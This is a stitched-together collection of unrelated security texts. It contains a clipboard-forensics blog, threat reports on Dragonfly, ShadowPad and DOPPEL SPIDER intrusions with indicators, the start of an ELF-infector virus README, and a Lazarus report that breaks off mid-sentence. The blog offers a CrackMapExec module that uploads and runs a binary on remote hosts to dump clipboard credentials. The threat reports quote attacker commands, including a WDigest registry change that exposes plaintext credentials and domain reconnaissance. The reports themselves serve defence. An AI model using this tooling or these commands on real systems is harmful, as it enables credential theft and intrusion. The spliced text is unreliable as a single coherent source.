outside of the viewer, the window will close. This made it difficult to retrieve the process name for the clipboard viewer using traditional methods. Despite my efforts, I was unable to find the process name for the clipboard viewer. ## Recovering Deleted Clipboard Data By reversing the previous DLLs, I discovered a file called `tokens.dat` in the `%ProgramData%\Microsoft\Windows\ClipSVC` folder. This file contains encrypted data related to the Clipboard. It’s worth noting that the `ClipSVC` folder is used by the Clipboard Service in Windows, which is responsible for managing the Clipboard. The service runs as a Windows Service and is started automatically at system startup. The `ClipSVC` folder contains various files and subfolders that are used by the Clipboard Service to store Clipboard data, history, and other related information. While I didn’t attempt to reverse the DLL to write a decryption function to read the Clipboard data for burnout purposes, I may do so later. I then wondered if the data was already decrypted by the process, could I scrape the Clipboard data from memory? Upon investigating further, I discovered that the process that uses `CLIPC.dll` is called `TextinputHost.exe`. So, I used Process Hacker to search for the Clipboard data. I then cleared the Clipboard data history and checked if it could still be scraped from memory. As expected, it didn’t get deleted from memory. ## Clipboard History APIs After scraping the deleted/cleared clipboard data, I was wondering if it was just deleted from the Clipboard Viewer. So, I wanted to check if using the clipboard history APIs would return the deleted data or if it would say that it’s deleted. I found the `windows.applicationmodel.datatransfer.clipboard.gethistoryitemsasync` method. This method allows you to retrieve a list of `ClipboardHistoryItem` objects representing the contents of the user’s clipboard history. By using this method, we can get the clipboard history, but it doesn’t return the deleted clipboard history. Therefore, we can only get the deleted history by scraping the memory of the `TextinputHost.exe` process. However, once the machine is rebooted, the data will also be removed. ```cpp #include <iostream> #include <winrt/Windows.ApplicationModel.DataTransfer.h> #include <winrt/Windows.Foundation.h> using namespace winrt; using namespace Windows::ApplicationModel::DataTransfer; using namespace Windows::Foundation; int main() { init_apartment(); IVectorView<ClipboardHistoryItem> historyItems = Clipboard::GetHistoryItemsAsync().get(); for (auto const& item : historyItems) { std::cout << "FormatId: " << item.FormatId() << std::endl; std::cout << "Content: " << winrt::to_string(item.Content().ToString()) << std::endl; } return 0; } ``` While writing this blog post, I stumbled upon a new post by Raymond Chen, which explains how to enumerate the clipboard history using PowerShell. ```powershell Add-Type -AssemblyName System.Runtime.WindowsRuntime $asTaskGeneric = ([System.WindowsRuntimeSystemExtensions].GetMethods() | ? { $_.Name -eq 'AsTask' -and $_.GetParameters().Count -eq 1 -and $_.GetParameters()[0].ParameterType.Name -eq 'IAsyncOperation`1' })[0] function Await($WinRtTask, $ResultType) { $asTask = $asTaskGeneric.MakeGenericMethod($ResultType) $netTask = $asTask.Invoke($null, @($WinRtTask)) $netTask.Wait(-1) | Out-Null $netTask.Result } $null = [Windows.ApplicationModel.DataTransfer.Clipboard, Windows.ApplicationModel.DataTransfer, ContentType=WindowsRuntime] $op = [Windows.ApplicationModel.DataTransfer.Clipboard]::GetHistoryItemsAsync() $result = Await ($op) ([Windows.ApplicationModel.DataTransfer.ClipboardHistoryItemsResult]) $textops = $result.Items.Content.GetTextAsync() for ($i = 0; $i -lt $textops.Count; $i++) { Await($textops[$i]) ([String]) } ``` He is using the same method, but I still didn’t get the clipboard data history. ## Another Way @inversecos introduced another way to get the clipboard history by enumerating the `ActivitiesCache.db`. The `ActivitiesCache.db` can be located in `%AppData%\Local\ConnectedDevicesPlatform\<UserProfile>`. I was interested in adding a new module to CrackMapExec for dumping the clipboard history, so I wrote a quick Python script to dump the `ActivitiesCache.db` file. ```python import os import psutil import sqlite3 import json import base64 def get_user_profiles() -> dict: """ Returns a dictionary containing user profiles of ConnectedDevicesPlatform folder """ users = [user.name for user in psutil.users()] profiles = {} for user in users: profile_folder_name = [] folder_path = os.path.join('C:\\Users', user, 'AppData', 'Local', 'ConnectedDevicesPlatform') if os.path.exists(folder_path): items = os.listdir(folder_path) num_dirs = 0 for item in items: item_path = os.path.join(folder_path, item) if os.path.isdir(item_path): subfolder_path = os.path.join(item_path) subitems = os.listdir(subfolder_path) for subitem in subitems: if subitem.endswith(".db"): profile_folder_name.append(os.path.join(item_path, subitem)) num_dirs += 1 if len(profile_folder_name) > 0: profiles[user] = profile_folder_name print(f'{user}: Found {num_dirs} directories in ConnectedDevicesPlatform folder') else: print(f'{user}: ConnectedDevicesPlatform folder not found') return profiles def get_clipboard_data(): """ Extracts clipboard data from ConnectedDevicesPlatform folders """ profiles = get_user_profiles() if len(profiles) == 0: return for user, profile_folder_names in profiles.items(): for profile_folder_name in profile_folder_names: with sqlite3.connect(profile_folder_name) as conn: conn.row_factory = sqlite3.Row c = conn.cursor() c.execute("SELECT ClipboardPayload FROM ActivityOperation WHERE ClipboardPayload IS NOT NULL") results = c.fetchall() for row in results: data = json.loads(row[0]) if data[0]["formatName"] == "Text": try: decoded_data = base64.b64decode(data[0]["content"]).decode('utf-8') except Exception as e: print(f"{user}: Error decoding base64 data. {e}") continue print(f'{user}: Password from ClipboardPayload: {decoded_data}') if __name__ == "__main__": get_clipboard_data() ``` So I will just add two more ways (TextinputHost Scraping, Current Clipboard Data) in this script soon, because I have burned out. So I just want to play Fortnite and FIFA 23 the whole day. ## CrackMapExec Module Imagine how many credentials we can get if we made a module for CrackMapExec to dump the clipboard data. Here is the full module, soon I will just pull it into the CrackMapExec GitHub. ```python # ClipboardHistory module for CME # Author of the module: https://twitter.com/RET2_pwn # ClipboardHistory, takes one argument Clip_EXE which is the binary path. from base64 import b64decode from sys import exit from os import path class CMEModule: name = "clipboard" description = "Dump the clipboard history content." supported_protocols = ["smb"] opsec_safe = True # could be flagged multiple_hosts = True def options(self, context, module_options): ''' Clip_EXE // ClipboardHistory Binary Path. ''' self.tmp_dir = "C:\\Windows\\Temp\\" self.share = "C$" self.tmp_share = self.tmp_dir.split(":")[1] self.clipboardhistory = "ClipboardHistory.exe" self.useembeded = True self.ClipboardHistory_embedded = b64decode('') if "Clip_EXE" in module_options: self.FilePath = module_options["Clip_EXE"] self.useembeded = False def Dump_Clipboard_Data(self, _, connection): command = f"{self.tmp_dir}ClipboardHistory.exe" return connection.execute(command, True) def on_admin_login(self, context, connection): if self.useembeded: file_to_upload = "/tmp/ClipboardHistory.exe" with open(file_to_upload, 'wb') as FileWrite: FileWrite.write(self.ClipboardHistory_embedded) else: if path.isfile(self.FilePath): file_to_upload = self.FilePath else: context.log.error(f"Cannot open {self.FilePath}") exit(1) context.log.info(f"Uploading {self.clipboardhistory}") with open(file_to_upload, 'rb') as ClipboardOpenFile: try: connection.conn.putFile(self.share, f"{self.tmp_share}{self.clipboardhistory}", ClipboardOpenFile.read) context.log.success(f"Clipboard binary successfully uploaded") except Exception as e: context.log.error(f"Error writing file to share {self.tmp_share}: {e}") return try: context.log.info(f"Listing available primary tokens") p = self.Dump_Clipboard_Data(context, connection) for line in p.splitlines(): context.log.highlight(f"{line}") except Exception as e: context.log.error(f"Error running command: {e}") finally: try: connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.clipboardhistory}") context.log.success(f"ClipboardHistory binary successfully deleted") except Exception as e: context.log.error(f"Error deleting ClipboardHistory.exe on {self.share}: {e}") ## Conclusion In conclusion, clipboard forensics is a fascinating topic that involves delving deeper into the Windows Clipboard system and discovering its hidden features. By exploring Windows APIs and using tools such as Process Monitor and Process Hacker, it is possible to recover deleted Clipboard data and scrape Clipboard data from memory. Although the process of scraping deleted data can be challenging, this blog post has provided valuable insights into the techniques and tools used in clipboard forensics. At the end, I have created a CrackMapExec module that can be used to extract clipboard data.
# Dragonfly: Western Energy Sector Targeted by Sophisticated Attack Group The energy sector in Europe and North America is being targeted by a new wave of cyber attacks that could provide attackers with the means to severely disrupt affected operations. The group behind these attacks is known as Dragonfly. The group has been in operation since at least 2011 but has re-emerged over the past two years from a quiet period following exposure by Symantec and a number of other researchers in 2014. This “Dragonfly 2.0” campaign, which appears to have begun in late 2015, shares tactics and tools used in earlier campaigns by the group. The energy sector has become an area of increased interest to cyber attackers over the past two years. Most notably, disruptions to Ukraine’s power system in 2015 and 2016 were attributed to a cyber attack and led to power outages affecting hundreds of thousands of people. In recent months, there have also been media reports of attempted attacks on the electricity grids in some European countries, as well as reports of companies that manage nuclear facilities in the U.S. being compromised by hackers. The Dragonfly group appears to be interested in both learning how energy facilities operate and also gaining access to operational systems themselves, to the extent that the group now potentially has the ability to sabotage or gain control of these systems should it decide to do so. Symantec customers are protected against the activities of the Dragonfly group. ## Dragonfly 2.0 Symantec has evidence indicating that the Dragonfly 2.0 campaign has been underway since at least December 2015 and has identified a distinct increase in activity in 2017. Symantec has strong indications of attacker activity in organizations in the U.S., Turkey, and Switzerland, with traces of activity in organizations outside of these countries. The U.S. and Turkey were also among the countries targeted by Dragonfly in its earlier campaign, though the focus on organizations in Turkey does appear to have increased dramatically in this more recent campaign. As it did in its prior campaign between 2011 and 2014, Dragonfly 2.0 uses a variety of infection vectors in an effort to gain access to a victim’s network, including malicious emails, watering hole attacks, and Trojanized software. The earliest activity identified by Symantec in this renewed campaign was a malicious email campaign that sent emails disguised as an invitation to a New Year’s Eve party to targets in the energy sector in December 2015. The group conducted further targeted malicious email campaigns during 2016 and into 2017. The emails contained very specific content related to the energy sector, as well as some related to general business concerns. Once opened, the attached malicious document would attempt to leak victims’ network credentials to a server outside of the targeted organization. In July, Cisco blogged about email-based attacks targeting the energy sector using a toolkit called Phishery. Some of the emails sent in 2017 that were observed by Symantec were also using the Phishery toolkit (Trojan.Phisherly), to steal victims’ credentials via a template injection attack. This toolkit became generally available on GitHub in late 2016. As well as sending malicious emails, the attackers also used watering hole attacks to harvest network credentials, by compromising websites that were likely to be visited by those involved in the energy sector. The stolen credentials were then used in follow-up attacks against the target organizations. In one instance, after a victim visited one of the compromised servers, Backdoor.Goodor was installed on their machine via PowerShell 11 days later. Backdoor.Goodor provides the attackers with remote access to the victim’s machine. In 2014, Symantec observed the Dragonfly group compromise legitimate software in order to deliver malware to victims, a practice also employed in the earlier 2011 campaigns. In the 2016 and 2017 campaigns, the group is using the evasion framework Shellter in order to develop Trojanized applications. In particular, Backdoor.Dorshel was delivered as a trojanized version of standard Windows applications. Symantec also has evidence to suggest that files masquerading as Flash updates may be used to install malicious backdoors onto target networks—perhaps by using social engineering to convince a victim they needed to download an update for their Flash player. Shortly after visiting specific URLs, a file named “install_flash_player.exe” was seen on victim computers, followed shortly by the Trojan.Karagany.B backdoor. Typically, the attackers will install one or two backdoors onto victim computers to give them remote access and allow them to install additional tools if necessary. Goodor, Karagany.B, and Dorshel are examples of backdoors used, along with Trojan.Heriplor. ## Western Energy Sector at Risk from Ongoing Cyber Attacks, with Potential for Sabotage There are a number of indicators linking recent activity with earlier Dragonfly campaigns. In particular, the Heriplor and Karagany Trojans used in Dragonfly 2.0 were both also used in the earlier Dragonfly campaigns between 2011 and 2014. Trojan.Heriplor is a backdoor that appears to be exclusively used by Dragonfly, and is one of the strongest indications that the group that targeted the western energy sector between 2011 and 2014 is the same group that is behind the more recent attacks. This custom malware is not available on the black market and has not been observed being used by any other known attack groups. It has only ever been seen being used in attacks against targets in the energy sector. Trojan.Karagany.B is an evolution of Trojan.Karagany, which was previously used by Dragonfly, and there are similarities in the commands, encryption, and code routines used by the two Trojans. Trojan.Karagany.B doesn’t appear to be widely available and has been consistently observed being used in attacks against the energy sector. However, the earlier Trojan.Karagany was leaked on underground markets, so its use by Dragonfly is not necessarily exclusive. | Feature | Dragonfly (2013-2014) | Dragonfly 2.0 (2015-2017) | Link strength | |-------------------------------------|-----------------------|----------------------------|---------------------| | Backdoor.Oldrea | Yes | No | None | | Trojan.Heriplor (Oldrea stage II) | Yes | Yes | Strong | | Trojan.Karagany | Yes | Yes (Trojan.Karagany.B) | Medium-Strong | | Trojan.Listrix (Karagany stage II) | Yes | Yes | Medium-Strong | | “Western” energy sector targeted | Yes | Yes | Medium | | Strategic website compromises | Yes | Yes | Weak | | Phishing emails | Yes | Yes | Weak | | Trojanized applications | Yes | Yes | Weak | ## Potential for Sabotage Sabotage attacks are typically preceded by an intelligence-gathering phase where attackers collect information about target networks and systems and acquire credentials that will be used in later campaigns. The most notable examples of this are Stuxnet and Shamoon, where previously stolen credentials were subsequently used to administer their destructive payloads. The original Dragonfly campaigns now appear to have been a more exploratory phase where the attackers were simply trying to gain access to the networks of targeted organizations. The Dragonfly 2.0 campaigns show how the attackers may be entering into a new phase, with recent campaigns potentially providing them with access to operational systems, access that could be used for more disruptive purposes in future. The most concerning evidence of this is in their use of screen captures. In one particular instance, the attackers used a clear format for naming the screen capture files, [machine description and location].[organization name]. The string “cntrl” (control) is used in many of the machine descriptions, possibly indicating that these machines have access to operational systems. ## Clues or False Flags? While Symantec cannot definitively determine Dragonfly’s origins, this is clearly an accomplished attack group. It is capable of compromising targeted organizations through a variety of methods; can steal credentials to traverse targeted networks; and has a range of malware tools available to it, some of which appear to have been custom developed. Dragonfly is a highly focused group, carrying out targeted attacks on energy sector targets since at least 2011, with a renewed ramping up of activity observed in the last year. Some of the group’s activity appears to be aimed at making it more difficult to determine who precisely is behind it: - The attackers used more generally available malware and “living off the land” tools, such as administration tools like PowerShell, PsExec, and Bitsadmin, which may be part of a strategy to make attribution more difficult. The Phishery toolkit became available on GitHub in 2016, and a tool used by the group—Screenutil—also appears to use some code from CodeProject. - The attackers also did not use any zero days. As with the group’s use of publicly available tools, this could be an attempt to deliberately thwart attribution, or it could indicate a lack of resources. - Some code strings in the malware were in Russian. However, some were also in French, which indicates that one of these languages may be a false flag. Conflicting evidence and what appear to be attempts at misattribution make it difficult to definitively state where this attack group is based or who is behind it. What is clear is that Dragonfly is a highly experienced threat actor, capable of compromising numerous organizations, stealing information, and gaining access to key systems. What it plans to do with all this intelligence has yet to become clear, but its capabilities do extend to materially disrupting targeted organizations should it choose to do so. ## Protection Symantec customers are protected against Dragonfly activity, and Symantec has also made efforts to notify identified targets of recent Dragonfly activity. Symantec has the following specific detections in place for the threats called out in this blog: | Family | MD5 | Command & Control | |----------------------|---------------------------------------|----------------------------------------| | Backdoor.Dorshel | b3b5d67f5bbf5a043f5bf5d079dbcb56 | hxxp://103.41.177.69/A56WY | | Trojan.Karagany.B | 1560f68403c5a41e96b28d3f882de7f1 | hxxp://37.1.202.26/getimage/622622.jpg | | Trojan.Heriplor | e02603178c8c47d198f7d34bcf2d68b8 | | | Trojan.Listrix | da9d8c78efe0c6c8be70e6b857400fb1 | | | Hacktool.Credrix | a4cf567f27f3b2f8b73ae15e2e487f00 | | | Backdoor.Goodor | 765fcd7588b1d94008975c4627c8feb6 | | | Trojan.Phisherly | 141e78d16456a072c9697454fc6d5f58 | 184.154.150.66 | | Screenutil | db07e1740152e09610ea826655d27e8d | | Customers of the DeepSight Intelligence Managed Adversary and Threat Intelligence (MATI) service have previously received reporting on the Dragonfly 2.0 group, which included methods of detecting and thwarting the activities of this adversary. ## Best Practices - Dragonfly relies heavily on stolen credentials to compromise a network. Important passwords, such as those with high privileges, should be at least 8-10 characters long (and preferably longer) and include a mixture of letters and numbers. Encourage users to avoid reusing the same passwords on multiple websites and sharing passwords with others should be forbidden. Delete unused credentials and profiles and limit the number of administrative-level profiles created. Employ two-factor authentication to provide an additional layer of security, preventing any stolen credentials from being used by attackers. - Emphasize multiple, overlapping, and mutually supportive defensive systems to guard against single point failures in any specific technology or protection method. This should include the deployment of regularly updated firewalls as well as gateway antivirus, intrusion detection or protection systems (IPS), website vulnerability with malware protection, and web security gateway solutions throughout the network. - Implement and enforce a security policy whereby any sensitive data is encrypted at rest and in transit. Ensure that customer data is encrypted as well. This can help mitigate the damage of potential data leaks from within an organization. - Implement SMB egress traffic filtering on perimeter devices to prevent SMB traffic leaving your network onto the internet. - Educate employees on the dangers posed by spear-phishing emails, including exercising caution around emails from unfamiliar sources and opening attachments that haven’t been solicited. A full protection stack helps to defend against emailed threats, including Symantec Email Security.cloud, which can block email-borne threats, and Symantec Endpoint Protection, which can block malware on the endpoint. Symantec Messaging Gateway’s Disarm technology can also protect computers from threats by removing malicious content from attached documents before they even reach the user. - Understanding the tools, techniques, and procedures (TTP) of adversaries through services like DeepSight Adversary Intelligence fuels effective defense from advanced adversaries like Dragonfly 2.0. Beyond technical understanding of the group, strategic intelligence that informs the motivation, capability, and likely next moves of the adversaries ensures more timely and effective decisions in proactively safeguarding your environment from these threats.
# Linux.Midrashim This is my first x64 ELF infector written in full Assembly. It contains a non-destructive payload and will infect other ELF (PIE is also supported) in the current directory only and not recursively. It uses the PT_NOTE to PT_LOAD infection technique. ## Build Assemble it with FASM x64. ```bash $ fasm Linux.Midrashim.asm flat assembler version 1.73.25 (16384 kilobytes memory, x64) 3 passes, 2631 bytes. $ file Linux.Midrashim ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped $ sha256sum Linux.Midrashim 8f1a835ad6f5c58b397109e28409ec0556d6d374085361c6525f73d5ca5785eb Linux.Midrashim ``` ## Demo ```bash [guitmz@vps midrashim]$ cat target.c #include <stdio.h> int main() { printf("I am the target!\n"); return 0; } [guitmz@vps midrashim]$ gcc target.c -o target [guitmz@vps midrashim]$ gcc -pie -fPIC target.c -o target2 [guitmz@vps midrashim]$ file target target: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f20036dd702fa2723c4315bcf90c5af94b138aa8, not stripped [guitmz@vps midrashim]$ file target2 ```
# The Manufacturing Threat Landscape in 2020 **Falcon OverWatch Team** *July 14, 2020* Since January 2020, the CrowdStrike® Falcon OverWatch™ managed threat hunting team has observed an escalation in hands-on-keyboard activity. The COVID-19 pandemic has fundamentally shifted the way businesses are working, and adversaries are taking full advantage of businesses that fail to adapt their security postures in response. In just the first six months of 2020, OverWatch has tracked more intrusions than were seen throughout all of 2019. The top industries impacted have been manufacturing, technology, finance, telecommunications, and healthcare. This blog is part of a series from the Falcon OverWatch team, and each will be a deep dive into the types of targeted intrusions being observed in these industries. ## Increases in Intrusion Numbers and Sophistication In the manufacturing industry in particular, it is notable that an escalation in activity has occurred both in terms of the quantity and sophistication of these intrusions. The number of targeted intrusions against the manufacturing industry in just the first half of 2020 was more than triple what was observed by OverWatch throughout 2019. Another feature of the manufacturing threat landscape is that it is one of only a handful of industries that OverWatch routinely sees targeted by both state-sponsored and eCrime adversaries. The often-critical nature of manufacturing operations and the valuable data that many manufacturing businesses hold make them an enticing target for adversary groups seeking to extract value and further their strategic objectives. CrowdStrike Intelligence has identified 10 distinct adversary groups — encompassing both state-sponsored and eCrime actors — known to intentionally target the manufacturing industry. And there are many other opportunistic adversaries that could also reasonably be expected to target the industry. ## Big Game Hunting on the Rise Among the intrusions uncovered this year, Overwatch has recently observed a state-sponsored actor employing novel techniques to deploy tooling within a victim environment. It is also clear that eCrime actors are continuing to adapt and evolve big game hunting (BGH) activities. Notably, the first half of 2020 has seen more BGH adversary groups adopt data exfiltration techniques and threaten data leaks to reinforce ransom demands. Further, new BGH campaigns have emerged employing ransomware capable of killing industrial control system processes (among a range of other processes). Examples of current adversary activity targeting the manufacturing industry are explored below. Now more than ever, there is a clear impetus for defenders in the manufacturing industry to be prepared to respond to a diverse range of adversary tactics, techniques, and procedures (TTPs). OverWatch expects to see this escalation of activity targeting the manufacturing industry persist throughout the remainder of 2020. ## Suspected State-Sponsored Adversary Deploys Malicious Tooling via an Enterprise Application OverWatch’s discovery of an intrusion using ShadowPad malware against a manufacturing company in the North America region reveals that adversaries likely working on behalf of the Chinese state are actively exploiting newly discovered vulnerabilities to target the manufacturing industry. Interestingly, this case study demonstrates the adversary’s capability to quickly operationalize newly identified vulnerabilities, giving them the potential to pursue their mission objectives at scale. In the intrusion, uncovered earlier this year, a suspected state-sponsored adversary gained access to the victim’s network by exploiting a public-facing application on the initial host. OverWatch discovered this activity shortly after it began due to a rapid succession of unusual host activities. The combination of process-hollowing, registry changes, and an interactive command shell being executed quickly captured the attention of threat hunters. Instead of attempting to move from one host to the next manually, the adversary deployed tooling using an enterprise application capable of updating its client software. Using the compromised server, they copied a malicious dynamic-link library (DLL) file named `dbghelp.dll` into place for distribution to client systems. The DLL was then executed on the client systems by the enterprise application leveraging DLL search-order hijacking. Once the initial DLL was executed — triggered by either a user login or a host restart — it deployed two files to the operating system temporary directory `C:\Windows\temp`. The first was an embedded copy of `consent.exe`, a valid Windows executable, which was written to disk using a similar name to the affected enterprise application, and the second was a malicious ShadowPad DLL. The ShadowPad DLL masquerades as a legitimate Windows file by using the name `secur32.dll`. ``` C:\Windows\temp\[REDACTED]Update.exe C:\Windows\temp\secur32.dll ``` The initial DLL then executed `[REDACTED]Update.exe`, which then loaded `secure32.dll` through search-order hijacking. `[REDACTED]Update.exe` made another copy of `consent.exe` and `secur32.dll` to a different directory on the host. Once these files are in place, they are executed, and the second malicious DLL is again loaded using search-order hijacking. ``` C:\ProgramData\Gateway\Algs.exe C:\ProgramData\Gateway\secur32.dll ``` `Algs.exe` then uses process injection to hide its malicious code under `svchost.exe` and `dwm.exe`. The first attempt to execute by injecting the malicious code into `svchost.exe` was blocked by the CrowdStrike Falcon® sensor. The attacker then attempted execution under `dwm.exe`. At this point, `dwm.exe` began to communicate with adversary infrastructure masquerading as the vendor of the enterprise application. `Algs.exe` was also installed using the Windows Registry to execute when a user logs in. ``` KEY: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run NAME: LayerGatewayService VAL: C:\ProgramData\Gateway\Algs.exe ``` The adversary used the backdoors on several client hosts to create a new service to establish persistence and prepare the system for credential harvesting attacks. They first queried the `Algs.exe` process to ensure it was running, then made a renamed copy of `AppLaunch.exe` and a third malicious DLL to another directory on the host. ``` C:\ProgramData\Bluetooth\BluetoothSvc.exe C:\ProgramData\Bluetooth\mscoree.dll ``` A service was then installed on the host using a seemingly benign name. The third DLL was loaded by `BluetoothSvc.exe` and also began communicating with adversary infrastructure. With their backdoor services in place, the adversary added a Windows Registry key to enable in-memory credential caching. ``` reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f ``` At this point, the adversary’s session with the host ended, presumably to wait for credentials to be stored in memory for later collection. ## Alerting the Victim Within an hour of initial execution, OverWatch had notified the victim of the known compromised hosts. OverWatch quickly widened its search and was able to alert the victim to several other hosts compromised by the adversary in the same time period. Because the adversary leveraged legitimate operating system executables and authorized enterprise applications, they decreased their chances of discovery by traditional security monitoring. Further, the three malicious files used in this intrusion were named to masquerade legitimate DLL names or at least appear benign without further analysis. OverWatch was able to discover the adversary thanks to advanced hunting capability, informed by in-depth knowledge of the tactics and techniques used by attackers. This enabled the victim organization to quickly and comprehensively contain the affected hosts and remediate the intrusion. Subsequent analysis by CrowdStrike Intelligence indicated that the DLL files were either droppers or payloads for the ShadowPad malware. Infrastructure from command-and-control (C2) domains used by the ShadowPad malware overlapped with Bisonal malware activity in a campaign that is currently attributed to KARMA PANDA with low confidence. ## Adversary Capabilities and Motivations This adversary exhibited several interesting techniques that provide clues to their capabilities and motivations: 1. The compromise of a vulnerability in an enterprise application to automate the deployment and execution of their toolset, combined with the deliberate methods used to execute their payloads, paints a picture of a meticulously planned intrusion. This is further supported by the absence of superfluous arguments or typographical errors in the actor’s interactive commands. 2. The adversary’s deliberate and patient approach to credential harvesting stands in stark contrast to noisier smash-and-grab attacks that go after low-hanging fruit. The Windows Registry changes to the `WDigest` node prepared the system to store the credentials unencrypted in system memory to be harvested over time. This adversary behavior is indicative of more complex motivations, perhaps the intention to return in subsequent attacks to steal intellectual property or disrupt the victim’s operations. ## eCrime Adversaries Continue to Evolve Their Tactics It is not just state-sponsored adversaries that manufacturing defenders need to be alert to. The growth of BGH activities in recent years has been well documented by CrowdStrike. These targeted, criminally motivated, enterprise-wide ransomware attacks have proliferated, and adversaries are constantly evolving their TTPs to extract maximum value from their victims. For eCrime adversaries, the manufacturing industry is an attractive BGH target, with a perceived high ability and incentive to pay. EKANS (aka Snake) ransomware has emerged as a unique new threat to the manufacturing industry due to its reported ability to kill a wide range of processes, including those related to SCADA systems, industrial control systems, virtual machines, remote management tools, and network management software, to enable encryption of files related to those systems. CrowdStrike Intelligence first reported on EKANS in January 2020. While the adversaries operating EKANS appear to be targeting organizations opportunistically, the manufacturing industry — alongside the automotive, engineering, financial, and healthcare industries — is known to have been hit by this new threat. Data extortion has proven to be another trend that the manufacturing industry needs to watch. CrowdStrike’s 2020 Global Threat Report revealed that toward the end of 2019, data extortion began to gain traction as an alternative method of monetizing BGH attacks. Adversaries have started using the threat of leaking or selling sensitive data instead of — or in combination with — ransomware to increase their chances of extracting payment. Interestingly, CrowdStrike Intelligence found that manufacturing was the industry most targeted by data leaks in the first quarter of 2020. In late February, DOPPEL SPIDER appeared to become the latest adversary group to join this trend with the launch of the Dopple leaks website. The website, claiming to be linked to DOPPEL SPIDER, lists information stolen from past victims who failed to pay ransoms. ## DOPPEL SPIDER Found in Hands-on-Keyboard Reconnaissance in a Manufacturing Environment OverWatch threat hunters recently discovered DOPPEL SPIDER in a manufacturing environment. The intrusion, which stemmed from a successful phishing attack, followed the expected pattern of a hands-on-keyboard attack with a range of discovery techniques used to conduct reconnaissance in the environment. The intrusion was initially observed when a malicious DLL was side-loaded by legitimate executables and the victim was notified. The use of this technique is one of the initial hunting leads that brought it to the threat hunter’s attention. Later, the adversary returned and was discovered when a burst of unusual commands occurred within a short period of time. The adversary used legitimate executables, regularly used by administrators, to gather information about the victim’s Active Directory environment. The adversary created and executed batch scripts on the host, which then ran the reconnaissance commands and captured the output into text files. They then used 7zip to compress the files in preparation for exfiltration. ### Reconnaissance: ``` nltest /dclist: adfind.exe -subnets -f (objectCategory=subnet) nltest /domain_trusts net group "Domain Computers" /DOMAIN ``` ### Data Staging: ``` 7.exe a -mx3 ad.victim.7z ad_.* FILE: victim\ad_computers.txt FILE: victim\ad_subnets.txt FILE: victim\ad_users.txt ``` While the data gathered on this occasion using these commands would not contain data such as intellectual property, it is information that would be extremely useful to an attacker in furthering the intrusion. Effective threat hunting is about assessing behaviors in their specific context to identify potentially malicious activity. OverWatch recommends that defenders watch for unexpected series of commands. Though this activity could certainly be something that an administrator would perform during the course of their duties, OverWatch threat hunters are always watching out for and digging into bursts of activity or an uncharacteristic series of commands similar to this. Without continuous hunting, these types of commands may never be discovered because security software would not see them as malicious. Because this activity was identified, the victim organization was able to take action and prevent further activity or the exfiltration of data. ## Security Recommendations These intrusions highlight the lengths to which adversaries will go to achieve their mission objectives. Both state-sponsored and eCrime adversaries have demonstrated their ability to evolve their TTPs to exploit new vulnerabilities or increase the pressure on their victims. OverWatch expects to see the manufacturing industry remain a high-frequency target through the remainder of 2020. Accordingly, defenders need to be alert to the sophisticated and diverse threats taking aim at the industry. ### Threat Hunting These case studies highlight the heightened threat environment currently facing the manufacturing industry. In both examples, adversaries used living-off-the-land (LOTL) techniques to avoid detection. Human-driven continuous threat hunting is the most effective way of identifying and derailing intrusions that leverage LOTL techniques long before adversaries can establish a foothold in the environment. ### Recommendations - **Know your environment.** Being able to identify malicious activity in your environment comes down to understanding what behavior falls outside of your “normal.” Be on the lookout for unusual sequences of commands, or commands being executed from unexpected hosts. - **Know your enemy.** Familiarize yourself with the TTPs of the adversaries that target your industry. Prioritize your hunt by focusing on those behaviors known to be prevalent in manufacturing. ### Vulnerability Management Today’s adversaries move fast to operationalize exploits for newly disclosed vulnerabilities, and they have shown their capacity to roll out their attacks at scale. Defenders need to be prepared to move faster than the enemy to implement short-term workarounds or apply security patches. ### Recommendations - **Know your weaknesses.** Effectively prioritizing vulnerability management in your environment is about understanding the relative risk of any individual vulnerability, while also drawing on up-to-the-minute threat intelligence to understand what threats are most active in your region or industry. - **Shine a spotlight on your environment.** It is critical that your security team has comprehensive visibility of your environment to avoid any blind spots that could become an access point for an adversary. CrowdStrike® Falcon Spotlight™ offers security teams a real-time assessment of vulnerability exposure across their environment, enabling teams to quickly pinpoint and patch vulnerable hosts. ### Social Engineering Schemes Due to the widespread use of COVID-19-themed phishing lures and scams and an increasing number of remote workers, employees in all industries should remain vigilant and take advantage of the resources available to enhance their security postures in the context of this new threat landscape. ### Recommendation - **Enlist your users in the fight.** While technology is clearly critical in the fight to detect and stop intrusions, the end user remains a crucial link in the chain to stop breaches. User awareness programs should be initiated to combat the continued threat of phishing and related social engineering techniques.
# North Korea Bitten by Bitcoin Bug: Financially Motivated Campaigns Reveal New Dimension of the Lazarus Group **December 19, 2017** **Darien Huss** ## Overview Proofpoint researchers have uncovered a number of multistage attacks that use cryptocurrency-related lures to infect victims with sophisticated backdoors and reconnaissance malware attributed to the Lazarus Group. Victims of interest are then infected with additional malware, including Gh0st RAT, to steal credentials for cryptocurrency wallets and exchanges, enabling the Lazarus Group to conduct lucrative operations stealing Bitcoin and other cryptocurrencies. We also discovered what appears to be the first publicly documented instance of a nation-state targeting a point-of-sale related framework for the theft of credit card data in a related set of attacks. Moreover, the timing of the point-of-sale related attacks near the holiday shopping season makes the potential financial losses considerable. With activity dating at least to 2009, the Lazarus Group has consistently ranked among the most disruptive, successful, and far-reaching nation-state sponsored actors. The March 20, 2013 attack in South Korea, the Sony Pictures hack in 2014, the successful theft of $81 million from the Bangladesh Bank in 2014, and perhaps most famously this year’s WannaCry ransomware attack and its global impact have all been attributed to the group. The Lazarus Group is widely accepted as being a North Korean state-sponsored threat actor by numerous organizations in the information security industry, law enforcement agencies, and intelligence agencies around the world. The group has increasingly focused on financially motivated attacks and appears to be capitalizing on both the increasing interest and skyrocketing prices for cryptocurrencies. The Lazarus Group’s arsenal of tools, implants, and exploits is extensive and under constant development. Previously, they have employed DDoS botnets, wiper malware to temporarily incapacitate a company, and a sophisticated set of malware targeting the SWIFT banking system to steal millions of dollars. In this research, we detail a new implant dubbed PowerRatankba, a PowerShell-based malware variant that closely resembles the original Ratankba implant. We believe that PowerRatankba was likely developed as a replacement in Lazarus Group’s strictly financially motivated team’s arsenal to fill the hole left 